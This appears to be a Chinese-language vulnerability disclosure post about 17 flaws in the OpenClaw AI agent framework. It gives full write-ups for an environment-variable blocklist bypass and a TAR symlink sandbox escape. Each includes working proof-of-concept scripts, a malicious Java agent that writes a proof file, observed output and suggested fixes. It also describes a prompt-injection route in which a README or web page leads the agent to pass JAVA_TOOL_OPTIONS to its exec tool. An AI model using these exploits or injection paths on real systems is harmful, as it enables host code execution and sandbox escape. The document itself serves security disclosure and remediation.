挖了一些openclaw的漏洞 有一些是官方不同意收录的,什么沙箱逃逸、组件型ssrf bypass等等,然后我后面发现官方后面又直接修复了,还好我有在用ai实时监控,为了防止再被捡漏 所以在此公开,并已提交相关pr修复(当然2026/3/15之修复了一个)。
漏洞统计概览
严重级别 | 数量 |
|---|---|
Critical | 1 |
High | 8 |
Medium | 8 |
总计 | 17 |
漏洞清单
编号 | 严重级别 | 漏洞名称 | 类型 |
|---|---|---|---|
GHSA-017 | Critical | JSON5 原型污染 (config.patch) | 原型污染 |
GHSA-001 | High | 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入) | 代码执行 |
GHSA-002 | High | TAR 提取目标目录符号链接绕过 | 沙箱逃逸 |
GHSA-004 | High | Firecrawl 集成 SSRF 与 API Key 泄露 | SSRF + 凭证泄露 |
GHSA-007 | High | TTS Provider SSRF 与 API Key 泄露 | SSRF + 凭证泄露 |
GHSA-010 | High | Anthropic/Gemini PDF Provider SSRF | SSRF + 凭证泄露 |
GHSA-011 | High | Anthropic PDF SSRF (x-api-key 泄露) | SSRF + 凭证泄露 |
GHSA-012 | High | Gemini PDF SSRF (URL 查询参数密钥泄露) | SSRF + 凭证泄露 |
GHSA-014 | High | MiniMax VLM SSRF (API Key + 图像泄露) | SSRF + 凭证泄露 |
GHSA-003 | Medium | Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸 | 工作区逃逸 |
GHSA-005 | Medium | agentDir 配置路径遍历 | 路径遍历 |
GHSA-006 | Medium | 浏览器扩展 Relay Token URL 泄露 | 凭证暴露 |
GHSA-008 | Medium | Media Parse 路径遍历绕过 | 路径遍历 |
GHSA-009 | Medium | Ollama/vLLM SSRF (模型发现与 Stream) | SSRF |
GHSA-013 | Medium | Ollama Stream SSRF (聊天内容泄露) | SSRF |
GHSA-015 | Medium | Relay Token URL 暴露 (日志/历史记录) | 凭证暴露 |
GHSA-016 | Medium | Agent 目录路径遍历 (resolveUserPath) | 路径遍历 |
目录
Critical 级别
GHSA-017: JSON5 原型污染 (config.patch)
High 级别
GHSA-001: 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入)
GHSA-002: TAR 提取目标目录符号链接绕过
GHSA-004: Firecrawl 集成 SSRF 与 API Key 泄露
GHSA-007: TTS Provider SSRF 与 API Key 泄露
GHSA-010: Anthropic/Gemini PDF Provider SSRF
GHSA-011: Anthropic PDF SSRF (x-api-key 泄露)
GHSA-012: Gemini PDF SSRF (URL 查询参数密钥泄露)
GHSA-014: MiniMax VLM SSRF (API Key + 图像泄露)
Medium 级别
GHSA-003: Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸
GHSA-005: agentDir 配置路径遍历
GHSA-006: 浏览器扩展 Relay Token URL 泄露
GHSA-008: Media Parse 路径遍历绕过
GHSA-009: Ollama/vLLM SSRF (模型发现与 Stream)
GHSA-013: Ollama Stream SSRF (聊天内容泄露)
GHSA-015: Relay Token URL 暴露 (日志/历史记录)
GHSA-016: Agent 目录路径遍历 (resolveUserPath)
GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors
严重级别: High | 类型: 代码执行 | 状态: 已验证
Summary
The environment variable sanitization in OpenClaw’s host execution path fails to block several well-known code-execution-capable environment variables. An agent (or a malicious prompt injection payload) can pass attacker-controlled values for JAVA_TOOL_OPTIONS, DOTNET_STARTUP_HOOKS, MAVEN_OPTS, GRADLE_OPTS, RUSTFLAGS, and others through the env parameter of the exec tool. These variables survive both validateHostEnv() and sanitizeHostExecEnv() and reach the child process, allowing arbitrary code loading in JVM, .NET CLR, Ansible, and Rust toolchain contexts.
Severity
High (CVSS 8.1) – Arbitrary code execution on the host when the spawned process is a JVM, .NET, Ansible, Maven, Gradle, or Rust toolchain invocation.
Affected Component
src/infra/host-env-security-policy.json – blocklist definitions
src/infra/host-env-security.ts – isDangerousHostEnvVarName(), isDangerousHostEnvOverrideVarName(), sanitizeHostExecEnv()
src/agents/bash-tools.exec-runtime.ts – validateHostEnv(), execSchema
src/node-host/invoke-system-run.ts – sanitizeSystemRunEnvOverrides()
Affected Versions
Current main branch as of 2026-03-10. The blocklist has not been updated to include these variables at any point in the commit history.
Root Cause
The exec tool schema (src/agents/bash-tools.exec-runtime.ts:98-101) exposes an env parameter to the AI agent:
// src/agents/bash-tools.exec-runtime.ts:98-101
export const execSchema = Type.Object({
command: Type.String({ description: "Shell command to execute" }),
workdir: Type.Optional(Type.String({ ... })),
env: Type.Optional(Type.Record(Type.String(), Type.String())),
...
});When an agent calls the exec tool with env: { "JAVA_TOOL_OPTIONS": "-javaagent:/tmp/evil.jar" }, the value flows through two sanitization stages. Neither blocks it.
Stage 1 – validateHostEnv() (src/agents/bash-tools.exec-runtime.ts:57-76):
export function validateHostEnv(env: Record<string, string>): void {
for (const key of Object.keys(env)) {
const upperKey = key.toUpperCase();
if (isDangerousHostEnvVarName(upperKey)) { // checks blockedKeys + blockedPrefixes only
throw new Error(`Security Violation: ...`);
}
if (upperKey === "PATH") {
throw new Error("Security Violation: ...");
}
}
}isDangerousHostEnvVarName() (src/infra/host-env-security.ts:59-69) checks against blockedKeys and blockedPrefixes from host-env-security-policy.json. JAVA_TOOL_OPTIONS is in neither list.
Stage 2 – sanitizeHostExecEnv() (src/infra/host-env-security.ts:108-126):
for (const [rawKey, value] of Object.entries(overrides)) {
...
if (isDangerousHostEnvVarName(upper) || isDangerousHostEnvOverrideVarName(upper)) {
continue;
}
merged[key] = value; // JAVA_TOOL_OPTIONS lands here
}isDangerousHostEnvOverrideVarName() checks blockedOverrideKeys and blockedOverridePrefixes. JAVA_TOOL_OPTIONS is not in those lists either. The variable passes through both checks and enters the child process environment.
Full call chain:
Agent tool call { env: { "JAVA_TOOL_OPTIONS": "..." } }
-> bash-tools.exec.ts:369 validateHostEnv(params.env) -- PASS (not in blockedKeys)
-> bash-tools.exec.ts:407 requestedEnv: params.env
-> bash-tools.exec-host-node.ts:133 nodeEnv = params.requestedEnv
-> bash-tools.exec-host-node.ts:210 params: { env: nodeEnv, ... }
-> node-host/invoke-system-run.ts:223-224
sanitizeSystemRunEnvOverrides({ overrides: opts.params.env, shellWrapper: false })
shellWrapper=false -> return overrides unchanged -- PASS (not a shell wrapper)
-> node-host/invoke-system-run.ts:238
opts.sanitizeEnv(envOverrides) = sanitizeHostExecEnv({ overrides, blockPathOverrides: true })
isDangerousHostEnvVarName("JAVA_TOOL_OPTIONS") -> false -- PASS
isDangerousHostEnvOverrideVarName("JAVA_TOOL_OPTIONS") -> false -- PASS
merged["JAVA_TOOL_OPTIONS"] = "-javaagent:/tmp/evil.jar" -- INJECTED
-> child process spawned with JAVA_TOOL_OPTIONS in envMissing Variables
The following environment variables allow arbitrary code loading in their respective runtimes but are absent from all four blocklists in host-env-security-policy.json:
Variable | Runtime | Effect |
|---|---|---|
JAVA_TOOL_OPTIONS | JVM | Loads arbitrary -javaagent: JAR at JVM startup |
JDK_JAVA_OPTIONS | JVM (JDK 9+) | Same as JAVA_TOOL_OPTIONS for modern JDK |
_JAVA_OPTIONS | JVM (Oracle/OpenJDK) | Same, older variant |
MAVEN_OPTS | Maven | Passes JVM flags to Maven, including -javaagent: |
GRADLE_OPTS | Gradle | Passes JVM flags to Gradle |
DOTNET_STARTUP_HOOKS | .NET CLR | Loads arbitrary .NET assembly at CLR startup |
CORECLR_ENABLE_PROFILING | .NET CLR | Enables CLR profiling |
CORECLR_PROFILER_PATH | .NET CLR | Loads arbitrary native profiler .so/.dll |
ANSIBLE_FILTER_PLUGINS | Ansible | Loads arbitrary Python plugin modules |
ANSIBLE_CALLBACK_PLUGINS | Ansible | Loads arbitrary Python callback modules |
RUSTFLAGS | rustc | Passes arbitrary flags including -C link-arg= for linker injection |
Reproduction Steps
Prerequisites
OpenClaw instance with host execution enabled (exec host = gateway or node)
Java, .NET, or any of the above runtimes installed on the host
Step 1: Verify blocklist contents
复现截图 - 已拦截变量确认:

Step 1
Read src/infra/host-env-security-policy.json and confirm none of the 11 variables above appear in blockedKeys, blockedOverrideKeys, blockedPrefixes, or blockedOverridePrefixes.
Step 2: Programmatic verification against sanitization functions
复现截图 - 绕过过滤器的变量:

Step 2
// verify_env_bypass.js
// Run from the openclaw-src root after building, or use ts-node/tsx
const policy = require("./src/infra/host-env-security-policy.json");
const allBlocked = new Set([
...policy.blockedKeys.map(k => k.toUpperCase()),
...(policy.blockedOverrideKeys || []).map(k => k.toUpperCase()),
]);
const allBlockedPrefixes = [
...policy.blockedPrefixes.map(p => p.toUpperCase()),
...(policy.blockedOverridePrefixes || []).map(p => p.toUpperCase()),
];
const attackVars = [
"JAVA_TOOL_OPTIONS",
"JDK_JAVA_OPTIONS",
"_JAVA_OPTIONS",
"DOTNET_STARTUP_HOOKS",
"CORECLR_ENABLE_PROFILING",
"CORECLR_PROFILER_PATH",
"ANSIBLE_FILTER_PLUGINS",
"ANSIBLE_CALLBACK_PLUGINS",
"MAVEN_OPTS",
"GRADLE_OPTS",
"RUSTFLAGS",
];
for (const v of attackVars) {
const inSet = allBlocked.has(v);
const prefixMatch = allBlockedPrefixes.some(p => v.startsWith(p));
if (!inSet && !prefixMatch) {
console.log(BYPASSES BLOCKLIST:${v});
}
}
Expected output: all 11 variables print “BYPASSES BLOCKLIST”.
Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10)
3a. Create a malicious Java agent:
// EvilAgent.java
import java.lang.instrument.Instrumentation;
import java.io.File;
import java.io.FileWriter;public class EvilAgent {
public static void premain(String args, Instrumentation inst) {
System.out.println("!!!! EVIL AGENT PREMAIN EXECUTED !!!!");
System.out.println("!!!! PID: " + ProcessHandle.current().pid());
try {
File proof = new File("PWNED.txt");
FileWriter fw = new FileWriter(proof);
fw.write("Code execution achieved via JAVA_TOOL_OPTIONS injection.\n");
fw.write("Timestamp: " + System.currentTimeMillis() + "\n");
fw.write("PID: " + ProcessHandle.current().pid() + "\n");
fw.write("User: " + System.getProperty("user.name") + "\n");
fw.close();
} catch (Exception e) { }
}
}
// MANIFEST.MF
Premain-Class: EvilAgentjavac EvilAgent.java
jar cfm evil-agent.jar MANIFEST.MF EvilAgent.class3b. Create a benign target application:
// Innocent.java
public class Innocent {
public static void main(String[] args) {
System.out.println("Hello from innocent application.");
}
}javac Innocent.java3c. Simulate the full OpenClaw filter chain and spawn java:
// final_poc.js -- uses real OpenClaw policy, not a mock
const fs = require("fs");
const { spawnSync } = require("child_process");
const policy = JSON.parse(fs.readFileSync(
"openclaw-src/src/infra/host-env-security-policy.json", "utf8"
));// Reimplement OpenClaw's isDangerousHostEnvVarName + isDangerousHostEnvOverrideVarName
const blockedKeys = new Set(policy.blockedKeys.map(k => k.toUpperCase()));
const blockedPrefixes = policy.blockedPrefixes.map(p => p.toUpperCase());
const blockedOverrideKeys = new Set(
(policy.blockedOverrideKeys || []).map(k => k.toUpperCase())
);
const blockedOverridePrefixes = (policy.blockedOverridePrefixes || []).map(
p => p.toUpperCase()
);
function isDangerous(key) {
const u = key.toUpperCase();
if (blockedKeys.has(u)) return true;
if (blockedOverrideKeys.has(u)) return true;
if (blockedPrefixes.some(p => u.startsWith(p))) return true;
if (blockedOverridePrefixes.some(p => u.startsWith(p))) return true;
return false;
}
const agentEnv = { JAVA_TOOL_OPTIONS: "-javaagent:evil-agent.jar" };
const finalEnv = { PATH: process.env.PATH, SYSTEMROOT: process.env.SYSTEMROOT };
for (const [k, v] of Object.entries(agentEnv)) {
if (!isDangerous(k)) finalEnv[k] = v; // passes through
}
const r = spawnSync("java", ["-cp", ".", "Innocent"], { env: finalEnv, encoding: "utf-8" });
console.log(r.stdout);
console.log(r.stderr);
3d. Observed output (actual run, 2026-03-10):
复现截图 - 子进程环境验证:

Step 3
STDOUT:
!!!! EVIL AGENT PREMAIN EXECUTED !!!!
!!!! PID: 148880
!!!! This code ran BEFORE the application's main()
!!!! Proof file written to PWNED.txt
Hello from innocent application.STDERR:
Picked up JAVA_TOOL_OPTIONS: -javaagent:C:\Users\PC\Desktop\openclaw-audit\java-poc\evil-agent.jar
EXIT CODE: 0
3e. Proof file content (PWNED.txt):
复现截图 - JVM 代码执行证明:

Step 4
Code execution achieved via JAVA_TOOL_OPTIONS injection.
Timestamp: 1773127510489
PID: 148880
User: PCThe JVM loaded evil-agent.jar via JAVA_TOOL_OPTIONS and executed EvilAgent.premain() before Innocent.main(). The attacker’s code wrote an arbitrary file to disk, confirming full code execution.
Step 4: Agent-side trigger
An attacker embeds a prompt injection payload in a repository README, fetched web page, or issue body that causes the OpenClaw agent to call:
{
"command": "javac Main.java",
"env": { "JAVA_TOOL_OPTIONS": "-javaagent:evil-agent.jar" }
}The exec tool schema accepts this. The filter chain passes JAVA_TOOL_OPTIONS through. The JVM loads the agent JAR before compilation starts.
Impact
An attacker who can influence agent tool calls (via prompt injection in user-provided content, fetched URLs, or repository files) can achieve arbitrary code execution on the host machine whenever the spawned command involves JVM, .NET CLR, Ansible, Maven, Gradle, or Rust toolchains. This bypasses the existing env variable security boundary without triggering any validation error.
This was verified end-to-end on Windows 10 with JDK 25.0.2: the attacker’s premain() method executed before the target application’s main(), and successfully wrote an arbitrary file to disk.
Suggested Fix
Add the missing variables to blockedKeys in src/infra/host-env-security-policy.json:
{
"blockedKeys": [
"NODE_OPTIONS", "NODE_PATH", "PYTHONHOME", "PYTHONPATH",
"PERL5LIB", "PERL5OPT", "RUBYLIB", "RUBYOPT",
"BASH_ENV", "ENV", "GIT_EXTERNAL_DIFF", "SHELL", "SHELLOPTS",
"PS4", "GCONV_PATH", "IFS", "SSLKEYLOGFILE",
"JAVA_TOOL_OPTIONS", "JDK_JAVA_OPTIONS", "JAVA_OPTIONS",
"DOTNET_STARTUP_HOOKS", "CORECLR_ENABLE_PROFILING", "CORECLR_PROFILER_PATH",
"ANSIBLE_FILTER_PLUGINS", "ANSIBLE_CALLBACK_PLUGINS",
"MAVEN_OPTS", "GRADLE_OPTS", "RUSTFLAGS"
],
...
}Consider also adding prefix-based blocks for ANSIBLE and CORECLR_ to catch future variants.
GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass
严重级别: High | 类型: 沙箱逃逸 | 状态: 已验证
Summary
The TAR extraction path in src/infra/archive.ts does not validate whether the destination directory (destDir) is a symbolic link before extracting files into it. The ZIP extraction path correctly calls assertDestinationDirReady() which rejects symlinked destination directories, but the TAR path skips this check entirely. An attacker who can place a symlink at the expected extraction directory can redirect TAR extraction output to an arbitrary location on the filesystem, escaping sandbox boundaries.
Severity
High (CVSS 7.5) – Directory traversal / sandbox escape via symlink at extraction destination.
Affected Component
src/infra/archive.ts – extractArchive() (TAR path, line 627-678) vs extractZip() (line 507-580)
Affected Versions
Current main branch as of 2026-03-10.
Root Cause
archive.ts implements two extraction paths with asymmetric security checks:
ZIP path (extractZip, line 507-514) – correctly validates destDir:
// src/infra/archive.ts:507-514
async function extractZip(params: {
archivePath: string;
destDir: string;
stripComponents?: number;
limits?: ArchiveExtractLimits;
}): Promise<void> {
const limits = resolveExtractLimits(params.limits);
const destinationRealDir = await assertDestinationDirReady(params.destDir); // <-- checks symlink
...
}assertDestinationDirReady() (line 227-235) performs an lstat() on destDir and rejects it if it is a symbolic link:
// src/infra/archive.ts:227-235
async function assertDestinationDirReady(destDir: string): Promise<string> {
const stat = await fs.lstat(destDir);
if (stat.isSymbolicLink()) {
throw new ArchiveSecurityError("destination-symlink", "archive destination is a symlink");
}
if (!stat.isDirectory()) {
throw new ArchiveSecurityError(
"destination-not-directory",
"archive destination is not a directory",
);
}
...
}TAR path (extractArchive, line 627-678) – skips this check:
// src/infra/archive.ts:642-658
if (kind === "tar") {
const limits = resolveExtractLimits(params.limits);
const stat = await fs.stat(params.archivePath);
if (stat.size > limits.maxArchiveBytes) {
throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT);
}const checkTarEntrySafety = createTarEntrySafetyChecker({
rootDir: params.destDir, // <-- raw destDir, NO assertDestinationDirReady() call
stripComponents: params.stripComponents,
limits,
});
await withTimeout(
tar.x({
file: params.archivePath,
cwd: params.destDir, // <-- tar extracts here; if symlink, follows to target
...
}),
params.timeoutMs,
label,
);
return;
}
The TAR path passes params.destDir directly as both rootDir for entry safety checking and cwd for tar.x(). If destDir is a symlink, path.resolve(destDir, entryPath) in the safety checker resolves lexically (no realpath), so startsWith(rootDir) passes. But tar.x({ cwd: destDir }) follows the symlink, writing files to the symlink target.
createTarEntrySafetyChecker() (line 591-625) only validates individual entry paths against rootDir; it does not check whether rootDir itself is a symlink:
// src/infra/archive.ts:591-597
export function createTarEntrySafetyChecker(params: {
rootDir: string; // taken as-is, never resolved via realpath or lstat
stripComponents?: number;
limits?: ArchiveExtractLimits;
escapeLabel?: string;
}): (entry: TarEntryInfo) => void {
...
}Reproduction Steps
Prerequisites
Linux/macOS system (symlink creation does not require elevated privileges)
OpenClaw instance that handles TAR archive extraction (MCP tool installations, ACP sandbox file staging, or any feature that extracts .tar.gz archives)
Step 1: Confirm the code asymmetry
cd openclaw-srcZIP path calls assertDestinationDirReady:
grep -n "assertDestinationDirReady" src/infra/archive.ts
Output: line 227 (definition), line 514 (ZIP call)
Note: NO call in the TAR path (lines 642-678)
复现截图 - TAR/ZIP 代码不对称确认:

Step 1
Step 2: End-to-end exploitation (verified on Windows 10, Node.js 22, npm tar 7.x)
复现截图 - 设置符号链接和 TAR 归档:

Step 2
复现截图 - TAR 提取过程:

Step 3
// tar_symlink_poc.js
const fs = require("fs");
const path = require("path");
const tar = require("tar");
const os = require("os");
const BASE = path.join(os.tmpdir(), "oclaw-tar-poc");
const SANDBOX_ROOT = path.join(BASE, "sandbox");
const OUTSIDE_DIR = path.join(BASE, "outside-sandbox");
const EXTRACT_DEST = path.join(SANDBOX_ROOT, "project"); // will be a junction
const ARCHIVE_PATH = path.join(BASE, "payload.tar");
async function main() {
// Setup
fs.rmSync(BASE, { recursive: true, force: true });
fs.mkdirSync(SANDBOX_ROOT, { recursive: true });
fs.mkdirSync(OUTSIDE_DIR, { recursive: true });
// Create junction at extraction destination -> outside sandbox
fs.symlinkSync(OUTSIDE_DIR, EXTRACT_DEST, "junction");
// On Linux: ln -s $OUTSIDE_DIR $EXTRACT_DEST
// Create tar with payload
const src = path.join(BASE, "tar-content");
fs.mkdirSync(src, { recursive: true });
fs.writeFileSync(path.join(src, "pwned.txt"),
"Written OUTSIDE sandbox via TAR destDir symlink bypass.\n");
await tar.c({ file: ARCHIVE_PATH, cwd: src }, ["pwned.txt"]);
// Replicate OpenClaw extractArchive() TAR path (archive.ts:656-674)
//NOTE: no assertDestinationDirReady() call
await tar.x({
file: ARCHIVE_PATH,
cwd: EXTRACT_DEST, // junction -> OUTSIDE_DIR
preservePaths: false,
strict: true,
});
// Verify
const proof = path.join(OUTSIDE_DIR, "pwned.txt");
console.log("File outside sandbox:", fs.existsSync(proof));
console.log("Content:", fs.readFileSync(proof, "utf8"));
}
main();
Observed output (actual run, 2026-03-10):
[1] Setting up directory structure...
Sandbox root: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox
Extract dest: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox\project
-> isSymlink: true
-> points to: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox (OUTSIDE sandbox)[2] Creating tar archive with payload...
Archive created: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\payload.tar
[3] Extracting with tar.x({ cwd: destDir }) -- replicating OpenClaw code...
Extraction completed.
[4] Checking results...
File at OUTSIDE location: EXISTS
Path: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox\pwned.txt
Content: This file was written OUTSIDE the sandbox via TAR destDir symlink bypass.
Timestamp: 1773127989959
Sandbox root (real): C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox
File landed at (real): C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox
File is OUTSIDE sandbox: true
[5] Contrast: what assertDestinationDirReady() would do...
-> lstat().isSymbolicLink() = true
-> Would throw: ArchiveSecurityError("destination-symlink")
-> ZIP path: BLOCKED (correct)
-> TAR path: NOT CHECKED (vulnerable)
=== RESULT ===
EXPLOIT SUCCESSFUL: TAR extraction wrote files outside the sandbox
The file pwned.txt was written to outside-sandbox/ despite the extraction target appearing to be inside sandbox/project/. The junction redirected all writes outside the sandbox boundary.
Step 3: Contrast with ZIP behavior
复现截图 - 验证沙箱逃逸:

Step 4
If the same extraction were done with a ZIP archive, assertDestinationDirReady() (line 514) would call fs.lstat(destDir), detect the symlink, and throw ArchiveSecurityError("destination-symlink", "archive destination is a symlink"). Extraction would be blocked.
Impact
An attacker who can create a symlink at an expected TAR extraction destination can redirect extracted file writes to arbitrary filesystem locations. In the context of OpenClaw:
Sandbox escape: If TAR extraction targets a directory within a sandbox boundary, the symlink can point outside the sandbox, allowing file writes to the host filesystem.
Arbitrary file overwrite: Extracted files land at the symlink target, potentially overwriting configuration files, scripts, or other sensitive data.
Code execution: If the overwritten files are subsequently executed (scripts, config files loaded by services), this leads to code execution.
The attack requires the ability to create a symlink at the extraction destination path before extraction occurs. This is feasible in scenarios where:
- The attacker has limited write access to the sandbox filesystem
- A prior path traversal or file write vulnerability allows symlink creation
- The extraction destination is in a shared or user-writable directory
Suggested Fix
Call assertDestinationDirReady() in the TAR path, matching the ZIP path behavior:
// src/infra/archive.ts, inside extractArchive(), TAR branch:
if (kind === "tar") {
const limits = resolveExtractLimits(params.limits);
const stat = await fs.stat(params.archivePath);
if (stat.size > limits.maxArchiveBytes) {
throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT);
}const destinationRealDir = await assertDestinationDirReady(params.destDir); // ADD THIS
const checkTarEntrySafety = createTarEntrySafetyChecker({
rootDir: destinationRealDir, // use resolved real path
stripComponents: params.stripComponents,
limits,
});
await withTimeout(
tar.x({
file: params.archivePath,
cwd: destinationRealDir, // use resolved real path
...
}),
params.timeoutMs,
label,
);
return;
}
GHSA-003: Windows Platform: New File Creation Escapes Workspace via Directory Junction (Missing O_NOFOLLOW)
严重级别: Medium | 类型: 工作区逃逸 | 状态: 已验证
Comments (0)
Login to post a comment.